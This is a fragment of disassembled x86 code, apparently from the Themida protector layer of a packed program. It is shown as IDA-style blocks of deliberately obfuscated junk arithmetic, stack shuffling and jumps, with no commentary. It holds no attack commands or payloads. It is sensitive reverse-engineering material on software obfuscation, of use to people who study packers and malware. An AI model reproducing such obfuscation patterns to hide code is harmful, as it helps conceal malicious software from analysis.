		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edi, ecx
		jmp	loc_591190
; ---------------------------------------------------------------------------


loc_5A10D7:				; CODE XREF: Themida_:005979AFj
		mov	ecx, 4
		jmp	loc_592083
; ---------------------------------------------------------------------------


loc_5A10E1:				; CODE XREF: Themida_:0059293Fj
		mov	[esp], edi
		mov	edi, 3D5E188Ah
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	edi, ebx
		mov	ebx, [esp]
		push	ebx
		jmp	loc_59E7DA
; ---------------------------------------------------------------------------


loc_5A10FA:				; CODE XREF: Themida_:00592508j
		mov	bl, cl
		jmp	loc_5A0C8E
; ---------------------------------------------------------------------------


loc_5A1101:				; CODE XREF: Themida_:005A45F9j
		pop	eax
		pop	ebx
		sub	ebx, 44241984h
		sub	ebx, 331F57B5h
		add	ebx, edx
		add	ebx, 331F57B5h
		jmp	loc_5A227A
; ---------------------------------------------------------------------------


loc_5A111C:				; CODE XREF: Themida_:00599BABj
		or	edi, 1ACF0E43h
		dec	edi
		jmp	loc_5A3E07
; ---------------------------------------------------------------------------


loc_5A1128:				; CODE XREF: Themida_:00594D54j
		push	edx
		mov	edx, 1
		sub	ebp, edx
		pop	edx
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5951AE
; ---------------------------------------------------------------------------


loc_5A113D:				; CODE XREF: Themida_:0059EA57j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_592542
; ---------------------------------------------------------------------------


loc_5A1151:				; CODE XREF: Themida_:0059E7B1j
		pop	esi
		neg	di
		jmp	loc_5A5180
; ---------------------------------------------------------------------------


loc_5A115A:				; CODE XREF: Themida_:00591B96j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		jmp	loc_5A49A7
; ---------------------------------------------------------------------------


loc_5A116C:				; CODE XREF: Themida_:00593AC9j
		pop	ebp
		jmp	loc_59BBF0
; ---------------------------------------------------------------------------


loc_5A1172:				; CODE XREF: Themida_:00599498j
		push	5A9Ah
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ebx, eax
		push	esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4
		sub	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], cx
		push	20CCh
		mov	[esp], edx
		push	3856h
		mov	[esp], ebx
		push	edx
		mov	dh, 0A0h
		dec	dh
		sub	dh, 0E1h
		jmp	loc_594788
; ---------------------------------------------------------------------------


loc_5A11CB:				; CODE XREF: Themida_:0059837Ej
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5A0C3F
; ---------------------------------------------------------------------------


loc_5A11EC:				; CODE XREF: Themida_:0059B2C0j
		mov	esp, [esp]
		add	esp, 4
		push	ebx
		push	edi
		push	edx
		push	70BA6329h
		pop	edx
		and	edx, 7C381FA7h
		add	edx, 0E5A618ECh
		mov	edi, edx
		pop	edx
		jmp	loc_5A229A
; ---------------------------------------------------------------------------


loc_5A1212:				; CODE XREF: Themida_:005A4529j
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_5947D8
; ---------------------------------------------------------------------------


loc_5A121C:				; CODE XREF: Themida_:005A46C6j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mul	ecx
		push	4361h
		jmp	loc_5A4AC9
; ---------------------------------------------------------------------------


loc_5A1248:				; CODE XREF: Themida_:005A048Cj
		xor	edx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		push	ebp
		mov	ebp, 4
		mov	edx, ebp
		jmp	loc_59292E
; ---------------------------------------------------------------------------


loc_5A1265:				; CODE XREF: Themida_:0059A216j
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5A4E16
; ---------------------------------------------------------------------------


loc_5A1279:				; CODE XREF: Themida_:005950B1j
		push	eax
		mov	eax, 20196031h
		shl	eax, 2
		jmp	loc_595E7E
; ---------------------------------------------------------------------------


loc_5A1287:				; CODE XREF: Themida_:005A549Cj
		add	eax, 1FF066ADh
		sub	eax, ebp
		push	ebp
		push	1FF066ADh
		pop	ebp
		jmp	loc_5998CF
; ---------------------------------------------------------------------------


loc_5A129A:				; CODE XREF: Themida_:00590DE7j
		mov	ecx, 0
		add	ecx, eax
		xor	[ecx], edx
		jmp	loc_59302D
; ---------------------------------------------------------------------------


loc_5A12A8:				; CODE XREF: Themida_:005968C2j
		add	edx, 3AFC5A07h
		jmp	loc_5A4A4D
; ---------------------------------------------------------------------------


loc_5A12B3:				; CODE XREF: Themida_:005934E1j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5949A3
; ---------------------------------------------------------------------------


loc_5A12C1:				; CODE XREF: Themida_:0059DAC2j
		add	eax, ecx
		sub	eax, 77A86023h
		jmp	loc_59740A
; ---------------------------------------------------------------------------


loc_5A12CD:				; CODE XREF: Themida_:005A3679j
		add	esp, 4
		jmp	loc_5971E6
; ---------------------------------------------------------------------------


loc_5A12D5:				; CODE XREF: Themida_:0059B461j
		push	eax
		mov	eax, 0
		add	eax, ebx
		mov	ecx, [eax]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A0825
; ---------------------------------------------------------------------------


loc_5A12EA:				; CODE XREF: Themida_:0059C0CDj
		pop	ebp
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_596F2E
; ---------------------------------------------------------------------------


loc_5A12FB:				; CODE XREF: Themida_:0059FD32j
		pop	edi
		add	edi, esi
		jmp	loc_5A1EF6
; ---------------------------------------------------------------------------


loc_5A1303:				; CODE XREF: Themida_:005A52B7j
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 69C413CBh
		push	ebx
		mov	ebx, 170B0CE3h
		jmp	loc_595092
; ---------------------------------------------------------------------------


loc_5A131B:				; CODE XREF: Themida_:00596AE6j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	3203h
		mov	[esp], ebp
		jmp	loc_5A4B10
; ---------------------------------------------------------------------------


loc_5A132E:				; CODE XREF: Themida_:00592377j
		mov	eax, 8577A02h
		and	eax, 49F91791h
		xor	eax, 63760F9Ch
		add	ebp, eax
		pop	eax
		mov	eax, [esp]
		jmp	loc_597BCC
; ---------------------------------------------------------------------------


loc_5A1348:				; CODE XREF: Themida_:0059E27Fj
		pop	eax
		sub	al, dl
		jmp	loc_5965A9
; ---------------------------------------------------------------------------


loc_5A1350:				; CODE XREF: Themida_:005A21E1j
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	0C31h
		mov	[esp], esp
		push	edi
		jmp	loc_59811B
; ---------------------------------------------------------------------------


loc_5A1372:				; CODE XREF: Themida_:005941A2j
		xor	ebp, 76B20E56h
		sub	ebp, 5813041Fh
		mov	ebx, ebp
		pop	ebp
		shr	ebx, 7
		add	ebx, 246F3A8Fh
		dec	ebx
		sub	ebx, 528E5280h
		add	ebx, 6F675CDDh
		sub	ebx, 4195831Fh
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, ebx
		add	eax, [ecx]
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	3B03h
		jmp	loc_5A2E9B
; ---------------------------------------------------------------------------


loc_5A13C0:				; CODE XREF: Themida_:0059D6FAj
		mov	[esp], ecx
		mov	ecx, 18EC28FAh
		or	ecx, 307657FCh
		and	ecx, 465E31D7h
		dec	ecx
		add	ecx, 372D3DEEh
		sub	ecx, 77612CABh
		xor	ecx, 36145DD6h
		add	ebx, ecx
		jmp	loc_5965B1
; ---------------------------------------------------------------------------


loc_5A13EE:				; CODE XREF: Themida_:00590FFFj
		mov	ebp, [esp]
		jmp	loc_596225
; ---------------------------------------------------------------------------


loc_5A13F6:				; CODE XREF: Themida_:00597810j
		mov	edx, 7B425B5Eh
		neg	edx
		push	ebp
		mov	ebp, 7A015596h
		add	edx, ebp
		pop	ebp
		shr	edx, 5
		jmp	loc_5A3367
; ---------------------------------------------------------------------------


loc_5A140E:				; CODE XREF: Themida_:0059148Cj
		xor	ecx, [esp]
		xor	[esp], ecx
		push	dword ptr [esp]
		jmp	loc_59ED8E
; ---------------------------------------------------------------------------


loc_5A141C:				; CODE XREF: Themida_:005A53B6j
		sub	ch, 1
		xor	ch, 53h
		add	al, ch
		pop	ecx
		sub	al, dl
		push	ebx
		mov	bh, 0CAh
		add	bh, 1
		push	eax
		mov	al, 0EEh
		shr	al, 2
		jmp	loc_598B7E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_592EC3
; ---------------------------------------------------------------------------


loc_5A1453:				; CODE XREF: Themida_:005A376Dj
		xchg	eax, [esp]
		jmp	loc_599932
; ---------------------------------------------------------------------------


loc_5A145B:				; CODE XREF: Themida_:0059C761j
		sub	edi, 73E01E66h
		sub	edi, 43713B76h
		add	edi, edx
		add	edi, 43713B76h
		add	edi, 73E01E66h
		mov	edx, [esp]
		jmp	loc_590EC4
; ---------------------------------------------------------------------------


loc_5A147D:				; CODE XREF: Themida_:0059EE9Bj
		push	small 310Dh
		mov	[esp], bp
		mov	bp, 3048h
		push	272Eh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		mov	si, 5A10h
		jmp	loc_590D16
; ---------------------------------------------------------------------------


loc_5A14A3:				; CODE XREF: Themida_:0059CADBj
		push	esp
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		jmp	loc_59F203
; ---------------------------------------------------------------------------


loc_5A14B7:				; CODE XREF: Themida_:00591B9Fj
		mov	bl, 47h
		sub	bl, 1
		or	bl, 0D3h
		xor	bl, 0C9h
		neg	bl
		jmp	loc_59B7B6
; ---------------------------------------------------------------------------


loc_5A14C9:				; CODE XREF: Themida_:0059E3C2j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		jmp	loc_599E81
; ---------------------------------------------------------------------------


loc_5A14E2:				; CODE XREF: Themida_:005A5663j
		pop	ecx
		sub	ebp, 4
		jmp	loc_59A811
; ---------------------------------------------------------------------------


loc_5A14EE:				; CODE XREF: Themida_:0059D2DAj
		xor	ebx, 23492CDFh
		xor	eax, ebx
		jmp	loc_592BED
; ---------------------------------------------------------------------------


loc_5A14FB:				; CODE XREF: Themida_:0059E12Dj
		dec	esi
		jmp	loc_59D17B
; ---------------------------------------------------------------------------


loc_5A1501:				; CODE XREF: Themida_:005975B5j
		mov	ecx, 784E3A32h
		jmp	loc_59C926
; ---------------------------------------------------------------------------


loc_5A150B:				; CODE XREF: Themida_:005A45CDj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		or	[esp], eax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A151D:				; CODE XREF: Themida_:00597E18j
		pop	ebx
		jmp	loc_598248
; ---------------------------------------------------------------------------


loc_5A1523:				; CODE XREF: Themida_:00598A9Aj
		pop	edx
		sub	bh, 0FFh
		push	small 413Ah
		mov	[esp], ax
		push	3078h
		mov	[esp], edx
		mov	dl, 2Ah
		jmp	loc_59721B
; ---------------------------------------------------------------------------


loc_5A153E:				; CODE XREF: Themida_:00592C9Fj
		add	eax, 64F7731Fh
		pop	edx
		jmp	loc_5A46D5
; ---------------------------------------------------------------------------


loc_5A1549:				; CODE XREF: Themida_:005A176Dj
		sub	eax, edx
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		push	2A4Eh
		mov	[esp], edi
		push	25A5h
		mov	[esp], ebp
		jmp	loc_5A305C
; ---------------------------------------------------------------------------


loc_5A1567:				; CODE XREF: Themida_:0059CB97j
		pop	edi
		sub	ebx, ebp
		jmp	loc_5A2866
; ---------------------------------------------------------------------------


loc_5A156F:				; CODE XREF: Themida_:00596FB6j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A1574:				; CODE XREF: Themida_:0059ADBBj
		add	esp, 4
		add	ebx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5910AF
; ---------------------------------------------------------------------------


loc_5A158D:				; CODE XREF: Themida_:0059FD7Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5A4DE8
; ---------------------------------------------------------------------------
		xor	[esp], di
		xor	di, [esp]
		xor	[esp], di
		xor	di, dx
		jmp	loc_590CCA
; ---------------------------------------------------------------------------


loc_5A15C3:				; CODE XREF: Themida_:00598A93j
		add	eax, 528D4177h
		jmp	loc_5A335A
; ---------------------------------------------------------------------------


loc_5A15CD:				; CODE XREF: Themida_:005909FEj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59C179
; ---------------------------------------------------------------------------


loc_5A15E3:				; CODE XREF: Themida_:005A304Aj
		mov	[esp], esi
		mov	esi, 25B93100h
		jmp	loc_5A20D9
; ---------------------------------------------------------------------------


loc_5A15F0:				; CODE XREF: Themida_:00598D6Cj
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5980C8
; ---------------------------------------------------------------------------


loc_5A15FE:				; CODE XREF: Themida_:0059A571j
		mov	edx, 3B06690h
		sub	eax, edx
		pop	edx
		add	eax, 169749DFh
		push	ebx
		mov	ebx, 5B301DE4h
		sub	eax, ebx
		pop	ebx
		sub	eax, 51E77A30h
		sub	eax, ebx
		add	eax, 51E77A30h
		push	7665h
		mov	[esp], ebp
		push	4992h
		mov	[esp], esi
		mov	esi, 5B301DE4h
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_598027
; ---------------------------------------------------------------------------


loc_5A1642:				; CODE XREF: Themida_:0059FE82j
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_590F4F
; ---------------------------------------------------------------------------


loc_5A164D:				; CODE XREF: Themida_:0059F7DDj
		pop	esi
		push	edx
		push	5C17h
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	dword ptr [esp+4], 77987B8Fh
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 77987B8Fh
		jmp	loc_59EF89
; ---------------------------------------------------------------------------


loc_5A1676:				; CODE XREF: Themida_:00596B77j
		push	ebx
		push	edx
		pop	ebx
		jmp	loc_59AB47
; ---------------------------------------------------------------------------


loc_5A167E:				; CODE XREF: Themida_:0059C2D1j
		add	dword ptr [esp+4], 33F64DB5h
		add	dword ptr [esp+4], 7491F24h
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 7491F24h
		jmp	loc_594485
; ---------------------------------------------------------------------------


loc_5A169F:				; CODE XREF: Themida_:00599C73j
		add	ebx, 0C55BDAF4h
		jmp	loc_599B1F
; ---------------------------------------------------------------------------


loc_5A16AA:				; CODE XREF: Themida_:0059A5EDj
		add	esp, 4
		sub	ebp, edx
		pop	edx
		jmp	loc_59FDC6
; ---------------------------------------------------------------------------


loc_5A16B8:				; CODE XREF: Themida_:0059B3FEj
		mov	ecx, 17E3DD4h
		neg	ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		neg	ecx
		or	ecx, 44691AECh
		add	ecx, 1162517h
		add	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 77255088h
		mov	ecx, 7725508Ch
		xor	ecx, ebx
		pop	ebx
		add	ebp, ecx
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, 0E646831h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 67BB1E85h
		dec	esi
		sub	esi, 6F272B63h
		not	esi
		not	esi
		add	esi, 4B2B5876h
		sub	ebx, esi
		pop	esi
		sub	ebx, ebp
		jmp	loc_59F104
; ---------------------------------------------------------------------------


loc_5A1732:				; CODE XREF: Themida_:005A4963j
		pop	ecx
		and	ebp, 34E55C86h
		shr	ebp, 6
		sub	ebp, 16640D1Eh
		inc	ebp
		push	eax
		jmp	loc_59DC85
; ---------------------------------------------------------------------------


loc_5A1749:				; CODE XREF: Themida_:00590D4Bj
		pop	esp
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5969B4
; ---------------------------------------------------------------------------


loc_5A1757:				; CODE XREF: Themida_:005A08FFj
		inc	ecx
		jmp	loc_59A2F4
; ---------------------------------------------------------------------------


loc_5A175D:				; CODE XREF: Themida_:00595204j
		add	ebp, esi
		jmp	loc_592145
; ---------------------------------------------------------------------------


loc_5A1764:				; CODE XREF: Themida_:0059F813j
		push	ebx
		mov	ebx, esp
		jmp	loc_598051
; ---------------------------------------------------------------------------


loc_5A176C:				; CODE XREF: Themida_:0059C903j
		pop	ecx
		jmp	loc_5A1549
; ---------------------------------------------------------------------------


loc_5A1772:				; CODE XREF: Themida_:00597A24j
		mov	eax, esi
		pop	esi
		add	[esp+4], eax
		jmp	loc_592B8A
; ---------------------------------------------------------------------------


loc_5A177E:				; CODE XREF: Themida_:0059B5EBj
		mov	esi, esp
		jmp	loc_5984CD
; ---------------------------------------------------------------------------


loc_5A1785:				; CODE XREF: Themida_:00593175j
		mov	eax, 20B674ABh
		jmp	loc_59530B
; ---------------------------------------------------------------------------


loc_5A178F:				; CODE XREF: Themida_:00595D0Fj
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ecx, 66FB7BF3h
		push	edx
		jmp	loc_5A2E16
; ---------------------------------------------------------------------------


loc_5A179F:				; CODE XREF: Themida_:005A4D83j
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_598574
; ---------------------------------------------------------------------------


loc_5A17CB:				; CODE XREF: Themida_:00591539j
		push	ebp
		mov	ebp, 55FE5CBBh
		jmp	loc_59DDE2
; ---------------------------------------------------------------------------


loc_5A17D6:				; CODE XREF: Themida_:0059C51Bj
		push	edx
		mov	edx, 3AC352CDh
		push	ebp
		push	edx
		mov	edx, 52EC7378h
		mov	ebp, edx
		pop	edx
		jmp	loc_5A0DFB
; ---------------------------------------------------------------------------


loc_5A17EB:				; CODE XREF: Themida_:00597D40j
		add	eax, 118E3085h
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		sub	edx, edi
		pop	edi
		jmp	loc_59843A
; ---------------------------------------------------------------------------


loc_5A1807:				; CODE XREF: Themida_:00596C1Fj
		xor	esi, 7B1F5117h
		pop	ebp
		add	ebp, 7C552911h
		add	ebp, esi
		sub	ebp, 7C552911h
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_599957
; ---------------------------------------------------------------------------


loc_5A182B:				; CODE XREF: Themida_:005A2909j
		pop	eax
		push	29Bh
		mov	[esp], edx
		mov	dh, ch
		mov	[edi+eax*4], dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A185C:				; CODE XREF: Themida_:005A43A3j
		sub	ecx, ebx
		pop	ebx
		shl	ecx, 3
		jmp	loc_59F961
; ---------------------------------------------------------------------------


loc_5A1867:				; CODE XREF: Themida_:005A0ABCj
		pop	eax
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 74h
		not	al
		inc	al
		sub	al, 0E2h
		push	6385h
		mov	[esp], edx
		mov	dl, al
		push	ecx
		mov	ch, dl
		mov	bl, ch
		pop	ecx
		pop	edx
		pop	eax
		push	eax
		mov	al, 41h
		push	dx
		mov	dh, 30h
		add	al, dh
		pop	dx
		sub	bl, al
		pop	eax
		neg	bl
		inc	bl
		add	bl, 0A5h
		jmp	loc_59ECDF
; ---------------------------------------------------------------------------


loc_5A18A3:				; CODE XREF: Themida_:005A546Aj
		dec	dh
		push	cx
		mov	ch, 17h
		or	dh, ch
		pop	cx
		not	dh
		xor	dh, 5Bh
		add	cl, dh
		pop	edx
		sub	cl, bl
		sub	cl, 0DBh
		pop	bx
		mov	bh, cl
		jmp	loc_5A0AA5
; ---------------------------------------------------------------------------


loc_5A18C3:				; CODE XREF: Themida_:005A3F8Dj
		add	edi, 4
		push	4949h
		mov	[esp], esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		sub	esp, 4
		jmp	loc_599D35
; ---------------------------------------------------------------------------


loc_5A18E6:				; CODE XREF: Themida_:0059FFA3j
		mov	edi, 5B5808A5h
		or	edi, 70210C10h
		add	edi, 0FFFFFFFFh
		sub	edi, 4CDA1A34h
		shl	edi, 6
		push	ecx
		mov	ecx, 17A90046h
		sub	ecx, 0CEA58B2Eh
		add	edi, ecx
		pop	ecx
		add	edi, 5BE5FA9Dh
		sub	eax, edi
		jmp	loc_59D7DA
; ---------------------------------------------------------------------------


loc_5A1919:				; CODE XREF: Themida_:00596BE2j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[edi+20h], eax
		pop	eax


loc_5A1927:				; CODE XREF: Themida_:00597336j
					; Themida_:0059B87Ej
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebp
		jmp	loc_5931BF
; ---------------------------------------------------------------------------


loc_5A1933:				; CODE XREF: Themida_:00597A85j
		pop	esp
		mov	eax, [esp]
		jmp	loc_59D209
; ---------------------------------------------------------------------------


loc_5A193C:				; CODE XREF: Themida_:005A2D3Dj
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		jmp	loc_5A4A00
; ---------------------------------------------------------------------------


loc_5A1946:				; CODE XREF: Themida_:00590D6Bj
		pop	edx
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	4471h
		jmp	loc_5939C3
; ---------------------------------------------------------------------------


loc_5A1964:				; CODE XREF: Themida_:00598DD5j
		pop	edi
		push	ebx
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_59C4AA
; ---------------------------------------------------------------------------


loc_5A1972:				; CODE XREF: Themida_:00596D6Dj
		sub	edx, 536A031Ch
		mov	ebx, [esp]
		jmp	loc_5A1CDD
; ---------------------------------------------------------------------------


loc_5A1980:				; CODE XREF: Themida_:005A34DAj
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_591017
; ---------------------------------------------------------------------------


loc_5A19A5:				; CODE XREF: Themida_:00593613j
		xor	edx, 3D9963E3h
		jmp	loc_59EC90
; ---------------------------------------------------------------------------


loc_5A19B0:				; CODE XREF: Themida_:005A0927j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		shr	dh, 4
		add	dh, 0DCh
		sub	al, dh
		push	dword ptr [esp]
		pop	edx
		push	ebp
		jmp	loc_59C04F
; ---------------------------------------------------------------------------


loc_5A19D7:				; CODE XREF: Themida_:0059B967j
		sub	esp, 4
		jmp	loc_590353
; ---------------------------------------------------------------------------


loc_5A19E2:				; CODE XREF: Themida_:00598E57j
		mov	[esp], esi
		push	609B56CFh
		mov	esi, [esp]
		add	esp, 4
		not	esi
		shl	esi, 2
		add	esi, 9F9492E1h
		mov	ebx, esi
		pop	esi
		shl	ebx, 1
		push	edx
		mov	edx, 2F320D2Fh
		shl	edx, 7
		jmp	loc_593E56
; ---------------------------------------------------------------------------


loc_5A1A11:				; CODE XREF: Themida_:0059613Aj
		add	ecx, esi
		jmp	loc_5905D2
; ---------------------------------------------------------------------------


loc_5A1A18:				; CODE XREF: Themida_:0059CB4Ej
		pop	esp
		neg	dh
		sub	dh, 0B2h
		sub	dh, 15h
		sub	al, 76h
		sub	al, 20h
		add	al, 8Dh
		sub	al, dh
		sub	al, 8Dh
		add	al, 20h
		add	al, 76h
		pop	edx
		sub	al, 93h
		jmp	loc_5A4C22
; ---------------------------------------------------------------------------


loc_5A1A37:				; CODE XREF: Themida_:00590619j
		mov	ebp, 244E6503h
		sub	ebx, 7D7B1252h
		jmp	loc_594F98
; ---------------------------------------------------------------------------


loc_5A1A47:				; CODE XREF: Themida_:005A0C20j
		pop	esp
		jmp	loc_59E716
; ---------------------------------------------------------------------------


loc_5A1A4D:				; CODE XREF: Themida_:0059AB90j
		not	al
		mov	dl, al
		pop	eax
		push	eax
		push	ebx
		push	eax
		mov	ah, 0B5h
		jmp	loc_599EC5
; ---------------------------------------------------------------------------


loc_5A1A5C:				; CODE XREF: Themida_:0059CB40j
		pop	bx
		mov	bl, dl
		pop	edx
		push	dx
		mov	dh, 0F1h
		add	al, 0C6h
		jmp	loc_59F8C3
; ---------------------------------------------------------------------------


loc_5A1A6C:				; CODE XREF: Themida_:005957D4j
		push	edx
		mov	edx, 34E0252Bh
		sub	edx, 0F1E2AC8h
		xor	edx, 0BAA22E53h
		xor	ebx, edx
		jmp	loc_598604
; ---------------------------------------------------------------------------


loc_5A1A85:				; CODE XREF: Themida_:005A000Aj
		mov	[esp], ecx
		push	eax
		mov	al, 4Bh
		mov	cl, 0Eh
		jmp	loc_59EBB7
; ---------------------------------------------------------------------------


loc_5A1A92:				; CODE XREF: Themida_:00597662j
		mov	[esp], eax
		mov	eax, 3BE7C3Dh
		add	ecx, eax
		pop	eax
		pop	esi
		jmp	loc_594D73
; ---------------------------------------------------------------------------


loc_5A1AA3:				; CODE XREF: Themida_:00591CFDj
		sub	edx, 0E5957770h
		mov	ebx, edx
		pop	edx
		neg	ebx
		push	ebp
		mov	ebp, 6E4D7B51h
		or	ebp, 5D7F2BBCh
		add	ebp, 56853B01h
		jmp	loc_5A4C54
; ---------------------------------------------------------------------------


loc_5A1AC5:				; CODE XREF: Themida_:005A2A40j
		mov	esi, 0
		sub	esi, ebp
		jmp	loc_5938ED
; ---------------------------------------------------------------------------


loc_5A1AD1:				; CODE XREF: Themida_:00596F17j
		mov	[esp], ecx
		mov	ecx, 7C0C386Ch
		add	ecx, 1
		inc	ecx
		jmp	loc_59B7FA
; ---------------------------------------------------------------------------


loc_5A1AE2:				; CODE XREF: Themida_:0059C1C9j
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		jmp	loc_59E26A
; ---------------------------------------------------------------------------


loc_5A1AED:				; CODE XREF: Themida_:0059994Cj
		pop	edi
		jmp	loc_5A261E
; ---------------------------------------------------------------------------


loc_5A1AF3:				; CODE XREF: Themida_:0059C8D7j
		mov	esi, 4
		mov	ebx, esi
		pop	esi
		add	ecx, ebx
		jmp	loc_599543
; ---------------------------------------------------------------------------


loc_5A1B02:				; CODE XREF: Themida_:005A3BE0j
		xor	edi, 111E7FEBh
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		push	esi
		jmp	loc_59FA73
; ---------------------------------------------------------------------------


loc_5A1B29:				; CODE XREF: Themida_:0059A8DEj
		sub	ecx, ebx
		pop	ebx
		mov	ebp, ecx
		pop	ecx
		add	edi, ebp
		pop	ebp
		push	edi
		jmp	loc_59FD37
; ---------------------------------------------------------------------------


loc_5A1B38:				; CODE XREF: Themida_:0059C948j
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	esi
		add	ebp, 2
		jmp	loc_59E338
; ---------------------------------------------------------------------------


loc_5A1B53:				; CODE XREF: Themida_:005993B1j
		mov	[esp], ax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A1B5C:				; CODE XREF: Themida_:005A4016j
		pop	ecx
		jmp	loc_595498
; ---------------------------------------------------------------------------


loc_5A1B62:				; CODE XREF: Themida_:00594046j
		mov	dl, ah
		jmp	loc_5971AB
; ---------------------------------------------------------------------------


loc_5A1B69:				; CODE XREF: Themida_:005992CAj
		push	ecx
		jmp	loc_59E596
; ---------------------------------------------------------------------------


loc_5A1B6F:				; CODE XREF: Themida_:005A25AAj
		mov	esp, [esp]
		jmp	loc_59230E
; ---------------------------------------------------------------------------


loc_5A1B77:				; CODE XREF: Themida_:0059A583j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		xor	[esp], eax
		pushf
		jmp	loc_5993C6
; ---------------------------------------------------------------------------


loc_5A1B92:				; CODE XREF: Themida_:005985F8j
		mov	[esp], eax
		mov	eax, 9467BA8h
		add	edi, eax
		pop	eax
